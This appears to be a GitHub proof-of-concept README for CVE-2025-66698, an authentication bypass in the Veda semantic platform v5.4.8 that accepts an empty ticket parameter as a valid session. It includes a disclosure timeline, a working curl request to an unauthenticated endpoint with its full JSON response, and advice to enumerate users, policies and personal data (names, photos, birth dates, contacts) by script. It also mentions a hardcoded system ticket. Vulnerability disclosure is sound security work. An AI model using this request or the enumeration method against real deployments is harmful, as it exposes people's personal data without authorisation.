perunchess/cve-2025-66698Proof-of-concept for CVE-2025-66698: authentication bypass in Veda v5.4.8 via empty ticket parameter, enabling enumeration of users, policies, and PII through unauthenticated API endpoints.
Target Software: Veda (Semantic Machines) v5.4.8 (likely all prior versions). Vulnerability Type: Authentication Bypass. CVE ID: CVE-2025-66698. Summary: System improperly validates the ticket parameter, treating an empty string as a valid session. Project Link: Veda (Semantic Machines)
Nov 18, 2025: Discovery and initial CVE request. Jan 9, 2026: CVE ID assigned. Attempted to contact vendor (ignored and deleted). Jan 13, 2026: Public disclosure due to lack of vendor response.
This vulnerability was found during my Security Research while reviewing code. The ticket parameter in the code doesn't check for empty value.
Some affected api endpoints:
There're many default users you can enum, also you can change scheme: cfg to v-s and etc to enumerate users, policies, PII(full names, photographs, job titles, birth dates, and contact information) and etc.
curl "https://localhost/get_individual?ticket=&uri=cfg:VedaSystem" -k
{"@":"cfg:VedaSystem","rdf:type":[{"data":"v-s:Person","type":"Uri"}],"rdfs:isDefinedBy":[{"data":"http://semantic-machines.com/veda/system-account","type":"Uri"}],"rdfs:label":[{"data":"Система .","lang":"RU","type":"String"},{"data":"System .","lang":"EN","type":"String"}],"v-s:actualVersion":[{"data":"cfg:VedaSystem","type":"Uri"}],"v-s:author":[{"data":"cfg:VedaSystem","type":"Uri"}],"v-s:birthday":[{"data":"2014-03-04T20:00:00Z","type":"Datetime"}],"v-s:created":[{"data":"2025-11-18T14:49:45Z","type":"Datetime"}],"v-s:creator":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:defaultAppointment":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:edited":[{"data":"2025-11-18T17:08:59Z","type":"Datetime"}],"v-s:hasAccount":[{"data":"cfg:VedaSystemAccount","type":"Uri"}],"v-s:hasAppointment":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:hasAspect":[{"data":"cfg:VedaSystem_aspect","type":"Uri"}],"v-s:hasImage":[{"data":"v-s:DefaultPhoto","type":"Uri"}],"v-s:lastEditor":[{"data":"cfg:VedaSystemAppointment","type":"Uri"}],"v-s:lastName":[{"data":"Система","lang":"RU","type":"String"},{"data":"System","lang":"EN","type":"String"}],"v-s:parentOrganization":[{"data":"cfg:org_Veda","type":"Uri"}],"v-s:updateCounter":[{"data":93,"type":"Integer"}],"v-ui:hasPreferences":[{"data":"cfg:VedaSystem_pref","type":"Uri"}]}
What you just do is find more and more these entities "xxx:xxx" (cfg:xxx,v-s:xxx and etc). You can write simple bash script for this. There's also a hardcoded systicket to achieve the same result.
CVSS Assessment:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N Score: 8.6 (High)AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Score: 9.3 (Critical)